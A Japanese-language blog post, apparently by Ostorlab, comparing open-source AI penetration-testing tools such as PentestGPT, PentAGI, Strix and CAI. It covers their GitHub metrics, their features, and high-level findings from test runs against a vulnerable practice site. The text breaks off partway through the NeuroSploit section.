&lt;p&gt;この比較記事は、商用のAIペンテスト製品を開発するOstorlabが公開しています。Ostorlab自身の製品は、ここで比較する9つのツールには含まれていません。ツールの説明と主な機能は、各プロジェクトの公開GitHubリポジトリとドキュメントに基づいています。GitHubの指標とプロジェクト情報は2026年10月6日時点の公開リポジトリを反映しており、「最終コミット」などの相対的な値はその日付を基準にしています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：GitHubの指標（スター数、コミット数、コントリビューター数、最終コミット、ライセンス、技術スタック）、ドキュメントに記載された主な機能、そして各ツールをセットアップしてテスト対象のvulnbank.orgに対して実行できたかどうか、およびどのような検出結果が得られたか。&lt;/p&gt;
&lt;h2 id="オープンソースaiペンテストツール一覧"&gt;オープンソースAIペンテストツール一覧&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/GreyDGL/PentestGPT"&gt;&lt;strong&gt;Pentest GPT&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/vxcontrol/pentagi"&gt;&lt;strong&gt;PentAgi&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/0x4m4/hexstrike-ai"&gt;&lt;strong&gt;Hexstrike AI&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/usestrix/strix"&gt;&lt;strong&gt;Strix&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aliasrobotics/cai"&gt;&lt;strong&gt;Cybersecurity AI (CAI)&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/berylliumsec/nebula"&gt;&lt;strong&gt;Nebula&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/CyberSecurityUP/NeuroSploit"&gt;&lt;strong&gt;Neurosploit&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xoxruns/deadend-cli"&gt;&lt;strong&gt;Deadend CLI&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/samugit83/redamon"&gt;&lt;strong&gt;RedAmon&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="github指標の比較"&gt;GitHub指標の比較&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;ツール&lt;/th&gt;
&lt;th style="text-align: left;"&gt;スター数&lt;/th&gt;
&lt;th style="text-align: left;"&gt;コミット数&lt;/th&gt;
&lt;th style="text-align: left;"&gt;コントリビューター数&lt;/th&gt;
&lt;th style="text-align: left;"&gt;最終コミット&lt;/th&gt;
&lt;th style="text-align: left;"&gt;ライセンス&lt;/th&gt;
&lt;th style="text-align: left;"&gt;技術スタック&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;PentestGPT&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;15.7k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;307+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;24+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約3か月前&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MIT&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (94%), &lt;strong&gt;Shell&lt;/strong&gt; (4%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;PentAGI&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;25.2k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;950+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;17+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約2日前&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MIT&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Go&lt;/strong&gt; (61%), &lt;strong&gt;TypeScript&lt;/strong&gt; (36%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;HexStrike AI&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;12.4k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;63+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約2か月前&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MIT&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (100%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Strix&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;66.7k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;900+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;74+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;24時間以内&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Apache-2.0&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (77%), &lt;strong&gt;Go&lt;/strong&gt; (11%), &lt;strong&gt;TypeScript&lt;/strong&gt; (9%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CAI&lt;/strong&gt; ⚠&lt;br/&gt;&lt;em&gt;（アーカイブ済み）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.8k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1065+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;93+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アーカイブ済み（2026年8月）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MIT（OpenAI SDK由来のコード）+ 研究用途のみ（Alias Roboticsのコード）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (97%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Nebula&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.1k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1468+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;7+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;24時間以内&lt;/td&gt;
&lt;td style="text-align: left;"&gt;BSD-2-Clause&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (61%), &lt;strong&gt;TypeScript&lt;/strong&gt; (32%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;NeuroSploit&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.4k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;268+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;5+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約2日前&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MIT&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Rust&lt;/strong&gt; (84%), &lt;strong&gt;JavaScript&lt;/strong&gt; (10%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Deadend CLI&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;311+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;386+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;5+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約2か月前&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AGPL-3.0&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (77%), &lt;strong&gt;Jinja&lt;/strong&gt; (12%), &lt;strong&gt;TypeScript&lt;/strong&gt; (7%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;RedAmon&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2.9k+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1343+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;21+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;24時間以内&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MIT&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Python&lt;/strong&gt; (58%), &lt;strong&gt;TypeScript&lt;/strong&gt; (36%)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="1. pentestgpt"&gt;1. PentestGPT&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;PentestGPT&lt;/strong&gt;は、&lt;strong&gt;大規模言語モデル（LLM）&lt;/strong&gt;を使って&lt;strong&gt;ペネトレーションテスト（ペンテスト）&lt;/strong&gt;のプロセスの一部を自動化するために設計された&lt;strong&gt;オープンソースのフレームワーク&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;このツールは、相互に連携する3つのモジュールを使い、テスト全体の進捗を把握しながら攻撃チェーンを自動化します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推論モジュール（Reasoning Module）&lt;/strong&gt;：全体の戦略を担う役割です。「タスクツリー」を維持して全体像を管理し、攻撃における次の論理的なステップを決定します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;生成モジュール（Generation Module）&lt;/strong&gt;：実行役として機能します。推論モジュールから戦略を受け取り、タスクの実行に必要な具体的なターミナルコマンドやスクリプトを作成します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解析モジュール（Parsing Module）&lt;/strong&gt;：データアナリストの役割です。セキュリティツールが出力する雑然とした生の出力を整理し、最も重要な検出結果だけを抽出してシステムにフィードバックします。&lt;/p&gt;
&lt;p&gt;この3部構成のシステムにより、&lt;strong&gt;PentestGPT&lt;/strong&gt;は以前の結果を見失ったり、同じ処理の繰り返しに陥ったりすることなく、複雑な多段階の攻撃に対応できます。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PentestGPT&lt;/strong&gt;の機能は、&lt;strong&gt;ペンテスト&lt;/strong&gt;の中でも特に難しい部分を自動化するために作られています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自動推論エンジン&lt;/strong&gt;：大規模言語モデルのロジックを活用して、複雑なペンテストのタスクやCapture The Flag（CTF）の課題を解きます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;動的なセッション追跡&lt;/strong&gt;：テストプロセスのすべてのステップを記録し、リアルタイムで表示するライブウォークスルーを提供します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分野横断のセキュリティ対応&lt;/strong&gt;：Webセキュリティ、暗号、リバースエンジニアリング、フォレンジック、バイナリエクスプロイト（PWN）など、複数の専門カテゴリをカバーします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ライブアクティビティ監視&lt;/strong&gt;：ユーザーは、継続的なリアルタイムのフィードバックループを通じて、エージェントの推論と進捗を観察できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;モジュール型のフレームワーク設計&lt;/strong&gt;：拡張可能なアーキテクチャにより、新しいセキュリティツールやカスタマイズしたテストモジュールを組み込めます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;PentestGPT&lt;/strong&gt;はドキュメントが少なく、内容も不明瞭です。セットアップ時、特定のプロバイダー（&lt;strong&gt;MoonshotAI&lt;/strong&gt;）を指定して&lt;strong&gt;OpenRouter&lt;/strong&gt;経由で実行しようとしましたが、ツールは常に&lt;strong&gt;OpenAIプロバイダー&lt;/strong&gt;を使い続けました。手動でプロバイダーをMoonshotAIに強制的に切り替えたところ、初期化中に処理が止まり、長時間応答しない状態が続いたため、有効なテストを&lt;strong&gt;行えませんでした&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="2. pentagi"&gt;2. PentAGI&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;PentAGI&lt;/strong&gt;は、複数の&lt;strong&gt;AIエージェント&lt;/strong&gt;を連携させて複雑なセキュリティテストを実行する、&lt;strong&gt;オープンソース&lt;/strong&gt;の自律型システムです。「マルチエージェント」方式を採用しており、調査、コーディング、インフラストラクチャといった&lt;strong&gt;専門のAIロール&lt;/strong&gt;が協力して、脆弱性を自律的に発見、分析、悪用します。すべてのタスクは安全に隔離された&lt;strong&gt;Docker環境&lt;/strong&gt;で実行され、独自のブラウザーと検索システムを使ってリアルタイムの情報を収集し、人間の介入なしに攻撃戦略を適応させます。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PentAGI&lt;/strong&gt;が提供する主な機能は次のとおりです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;完全自律型エージェント&lt;/strong&gt;：人間の助けなしに、ペンテストの次のステップを自動的に判断して実行するAIシステムです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安全なサンドボックス&lt;/strong&gt;：すべての操作は隔離されたDocker環境内で実行され、ホストシステムを保護し、意図しない損害を防ぎます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;組み込みのセキュリティスイート&lt;/strong&gt;：20種類以上のプロフェッショナル向けツール（Nmap、Metasploit、Sqlmapなど）を備えており、AIが自ら実行して結果を解釈できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スマートなメモリと検索&lt;/strong&gt;：長期記憶システムを使って調査内容を保存し、Web検索エンジンと連携して最新のCVEデータを見つけます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;専門家チーム&lt;/strong&gt;：「委任」システムを採用しており、調査、コーディング、インフラストラクチャといった特定のタスクにそれぞれ異なるAIエージェントが専念します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;モダンなWebダッシュボード&lt;/strong&gt;：すっきりとしたインターフェースと詳細なログ機能を備え、AIの進捗と検出結果をリアルタイムで監視できます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pentagi&lt;/strong&gt;はセットアップが長く複雑で、ドキュメントも少なく手順も不明瞭なため、&lt;strong&gt;vulnbank.org&lt;/strong&gt;に対してツールを実行するのは困難でした。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="3. hexstrike ai"&gt;3. HexStrike AI&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HexStrike AI&lt;/strong&gt;は、LLMを150種類以上のセキュリティツールに接続するMCPサーバーです。&lt;strong&gt;AIエージェント&lt;/strong&gt;が自ら&lt;strong&gt;ペンテスト&lt;/strong&gt;を実行し、脆弱性を発見し、バグバウンティのタスクを手動の入力なしに自動化できるようにします。要するに、ClaudeやGPTのようなモデルに、攻撃的セキュリティの作業を行うための「実践的な」ツールキットを与えるものです。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HexStrike AI MCP&lt;/strong&gt;は、マルチエージェントアーキテクチャを使って自律的なテストと脆弱性データを処理します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エージェント接続&lt;/strong&gt;：ClaudeやGPTなどのモデルがFastMCPプロトコルを通じて接続し、コマンドを実行します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ターゲット分析&lt;/strong&gt;：意思決定エンジンがターゲットを評価し、具体的なテスト戦略とツールを選択します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自律実行&lt;/strong&gt;：エージェントが手動の介入なしに、さまざまな環境でセキュリティ評価を実行します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;システムの適応&lt;/strong&gt;：結果や発見された脆弱性に基づいて、プラットフォームがテストロジックをリアルタイムで更新します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;技術レポート&lt;/strong&gt;：最終出力として、脆弱性カードとリスク分析データを生成します。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HexStrike AI&lt;/strong&gt;は&lt;strong&gt;MCPサーバー&lt;/strong&gt;であり、単独で動作するエンジンではありません。動かすにはClaudeやGPTのような外部のAIクライアントが必要なため、当社は自律型のテスターとしてvulnbank.orgに対して実行しませんでした。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="4. strix"&gt;4. Strix&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Strix&lt;/strong&gt;は、動的な環境でコードを実行することで人間の攻撃者の振る舞いをシミュレートするように設計された、自律型エージェントのフレームワークです。セキュリティ上の欠陥を特定し、実際に動作する&lt;strong&gt;概念実証（PoC）エクスプロイト&lt;/strong&gt;を生成することでその妥当性を確認します。このアプローチにより、開発者とセキュリティチームは検証済みの結果を得られ、&lt;strong&gt;ペンテスト&lt;/strong&gt;に必要な手作業と、静的スキャンにつきもののノイズを減らせます。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自動化されたアプリケーションセキュリティ&lt;/strong&gt;：Strixは統合されたハッカー向けツールキットを活用し、コード内のクリティカルな脆弱性を動的に検出して検証します。アプリケーションをリアルタイムで実行することで、静的ツールが見逃す実行時の欠陥を発見し、&lt;strong&gt;概念実証のエビデンス&lt;/strong&gt;で裏付けます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;迅速なオンデマンドペンテスト&lt;/strong&gt;：連携して動くエージェントのチームを展開することで、インフラストラクチャ全体にスケールし、数週間ではなく数時間でペンテストを完了します。この自律的なスケールにより、組織はコンプライアンス対応のレポートとリスク分析をオンデマンドで作成できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;バグバウンティの調査と検証&lt;/strong&gt;：初期の発見からエクスプロイトの生成まで、バグハンティングのプロセスをエンドツーエンドで自動化します。バグを自律的に発見し、実際に動作するPoCを作成することで調査にかかる手作業の負担をなくし、報告と報奨金の獲得を早めます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DevSecOpsとCI/CDの連携&lt;/strong&gt;：開発者を第一に考えたCLIにより、CI/CDパイプラインにシームレスに組み込めます。これにより、脆弱性が本番環境に到達する前に自律的にブロックし、自動修正の提案と実行可能なレポートをエンジニアリングチームに直接提供します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Strixのレポートの検出結果のスクリーンショット" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_01_30_8_open_source_ai_pentest_tools/strix-finding.png" title="Strixの検出結果レポート"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Strixの検出結果レポート&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strixフレームワーク&lt;/strong&gt;を&lt;strong&gt;vulnbank.org&lt;/strong&gt;に対して実行したところ、次のような複数の&lt;strong&gt;クリティカルな脆弱性&lt;/strong&gt;を特定しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/loginエンドポイントにおけるブラインドSQLインジェクションを、タイミングベースの手法で確認（CVSS 10.0）&lt;/li&gt;
&lt;li&gt;データベースのコネクションプールが枯渇し続け、バックエンドのインフラストラクチャが著しく劣化&lt;/li&gt;
&lt;li&gt;AIチャットシステムが稼働しており、APIバックエンドの詳細を漏えい（DeepSeekとの連携）&lt;/li&gt;
&lt;li&gt;インフラストラクチャの障害により、ドキュメントに記載された複数の脆弱性にアクセス不可&lt;/li&gt;
&lt;li&gt;40以上のエンドポイントを特定し、アタックサーフェスを包括的にマッピング&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="5. cybersecurity ai (cai)"&gt;5. Cybersecurity AI (CAI)&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠ 更新（2026年10月）&lt;/strong&gt;：当社のテスト以降、CAIは&lt;strong&gt;アーカイブ&lt;/strong&gt;され、ライセンスが変更されました。OpenAIのAgents SDKから借用したコードのみがMITのままで、CAIの開発元であるAlias Roboticsが書いたコードはすべて&lt;strong&gt;研究用途のみ&lt;/strong&gt;となり、商用ライセンスなしでの商用利用や本番環境での利用は認められていません。インストールして実行することは引き続き可能ですが、メンテナンスはされていません。以下の結果は、完全なオープンソースだった時期に当社が実施した当初のテストによるものです。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;CAI&lt;/strong&gt;は、攻撃と防御のセキュリティタスクのためのAIエージェントを構築・展開するための&lt;strong&gt;オープンソースのフレームワーク&lt;/strong&gt;です。開発者や研究者が脆弱性の発見、悪用、緩和を自動化するためのモジュール型の環境を提供します。さまざまな組織で使われており、専門的なセキュリティエージェントを作成するための標準化されたインフラストラクチャとして機能します。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CAI&lt;/strong&gt;フレームワークは、AIモデルと実践的なセキュリティ運用の間の溝を埋めるために設計された、モジュール型の機能群を提供します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;幅広いモデル連携&lt;/strong&gt;：CAIは、OpenAI、Anthropic、DeepSeek、そしてOllamaによるローカル展開を含む、300以上のモデルをネイティブにサポートしています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;統合された攻撃用ツールセット&lt;/strong&gt;：偵察、脆弱性の悪用、&lt;strong&gt;権限昇格（不正に管理者レベルの制御を得ること）&lt;/strong&gt;のための事前設定済みツールを備え、セキュリティワークフローを効率化します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証済みの性能&lt;/strong&gt;：アーキテクチャは、CTF環境、バグバウンティプログラム、プロフェッショナルなセキュリティ評価での実践的な適用を通じて検証されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;モジュール型エージェントアーキテクチャ&lt;/strong&gt;：タスク特化型のフレームワークを採用しており、ユーザーは個別のセキュリティ目標に合わせた専門エージェントを構築・展開できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実行のガードレール&lt;/strong&gt;：組み込みのセキュリティプロトコルにより、プロンプトインジェクションや、許可されていないコマンドや危険なコマンドの実行から環境を保護します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コミュニティの研究重視&lt;/strong&gt;：研究を第一に考えたプラットフォームとして設計されており、AIを活用したサイバーセキュリティツールを標準化し、広くコミュニティにオープンに提供することを目指しています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="CAIのレポートの検出結果のスクリーンショット" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_01_30_8_open_source_ai_pentest_tools/cai-findings.png" title="CAIの検出結果レポート"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;CAIの検出結果レポート&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;CAIフレームワークを&lt;strong&gt;vulnbank.org&lt;/strong&gt;に対して実行したところ、次のような重大度が&lt;strong&gt;高およびクリティカルの脆弱性&lt;/strong&gt;を複数特定しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;認証バイパスとアカウントの完全な乗っ取りを可能にするSQLインジェクション&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;リモートコード実行につながる可能性のある、露出したWerkzeugデバッガー&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;アカウントをまたいだデータアクセスを可能にする安全でないオブジェクト直接参照&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不正な資金移動を可能にする、制限のない送金機能&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;大規模な不正や悪用を可能にする、無制限のアカウント登録&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;アプリケーションの内部ロジックを開示する詳細なエラーメッセージ&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;セッションと権限の悪用につながるJWTトークンインジェクションの問題&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="6. nebula"&gt;6. Nebula&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Nebula&lt;/strong&gt;は、大規模言語モデルを&lt;strong&gt;コマンドラインインターフェース&lt;/strong&gt;に直接統合した&lt;strong&gt;オープンソースのペンテストアシスタント&lt;/strong&gt;です。偵察、脆弱性分析、セッションの記録といった技術的なタスクを自動化します。ターミナルの出力をリアルタイムで解釈することで、さらなるテストのための&lt;strong&gt;提案を行い&lt;/strong&gt;、検出結果とコマンド履歴の自動ログを維持します。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nebula&lt;/strong&gt;は、セキュリティ診断におけるデータ収集と記録のフェーズを自動化する、包括的な&lt;strong&gt;AI強化機能&lt;/strong&gt;群を提供します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エージェント型のインターネット検索&lt;/strong&gt;：AIエージェントを使ってWebからリアルタイムのサイバーセキュリティの文脈やニュースを取得し、新たに出現したクラウドマルウェア&lt;strong&gt;VoidLink&lt;/strong&gt;や、最近公開された&lt;strong&gt;Gogs RCE&lt;/strong&gt;のゼロデイなど、最新の動向をユーザーが把握できるようにします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自動メモ作成&lt;/strong&gt;：技術的な検出結果の記録と分類を行い、手動の介入なしにCWEやNISTなどのセキュリティ標準に対応付けます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コンテキストを踏まえたインサイト&lt;/strong&gt;：セキュリティツールのターミナル出力をライブで分析し、具体的な脆弱性の発見手法や悪用手法など、次のステップをすぐに提案します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;複数ソースからのツール連携&lt;/strong&gt;：外部の偵察ツールやスキャンツールからデータをインポートして分析を一元化し、AIによる修復のアドバイスを生成できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;統合されたエビデンス取得&lt;/strong&gt;：コマンド画面から直接&lt;strong&gt;スクリーンショットを撮影&lt;/strong&gt;したり、&lt;strong&gt;簡単なメモやハイライトを追加&lt;/strong&gt;したりするツールを備えています。これにより、最終レポートに必要な実証材料をはるかに速く集められます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作ログ&lt;/strong&gt;：実行されたすべてのコマンドを手動の技術メモとともに自動的に記録し、包括的な監査証跡として完全なセッション履歴を維持します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ライブアクティビティフィード&lt;/strong&gt;：リアルタイムのステータスパネルが進行中のアクティビティと診断の進捗を監視し、5分ごとに更新してテストフェーズを順調に進められるようにします。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nebula&lt;/strong&gt;は&lt;strong&gt;対話型のAIターミナルアシスタント&lt;/strong&gt;であり、自律型のペンテストツールではないため、ターゲットに対して完全に自律的に実行することはできません。&lt;strong&gt;単独で検出結果を生み出す&lt;/strong&gt;のではなく、コマンド、ペイロード、分析を支援することで、人間主導のテストを補助するために使われます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="7. neurosploit"&gt;7. NeuroSploit&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;NeuroSploit&lt;/strong&gt;は、攻撃的セキュリティのタスクのさまざまな側面を自動化・強化するために作られた、&lt;strong&gt;AIによるペンテスト&lt;/strong&gt;のエコシステムです。大規模言語モデル（LLM）の力を活用し、ターゲット分析、脆弱性検出、悪用計画、防御支援を担う専用のエージェントペルソナを提供します。運用セキュリティと倫理基準を重視して維持されています。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NeuroSploit&lt;/strong&gt;は、ハッキングのための賢い「アシスタント」です。AIの「頭脳」（LLM）を使って、セキュリティ専門家の作業のうち退屈な部分の自動化を支援します。スキャンを一つずつ実行するだけでなく、専門のAIエージェントを使って攻撃を計画し、弱点を見つけ、防御をテストすることで、人間が手作業で行うよりもはるかに速く作業を進めます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;専門エージェントのエコシステム&lt;/strong&gt;：ロールベースのシステムを使い、攻撃シミュレーションのためのレッドチーム、防御監査のためのブルーチーム、脅威調査のためのマルウェア分析など、特定の業務に合わせたエージェントを展開します。&lt;/p&gt;
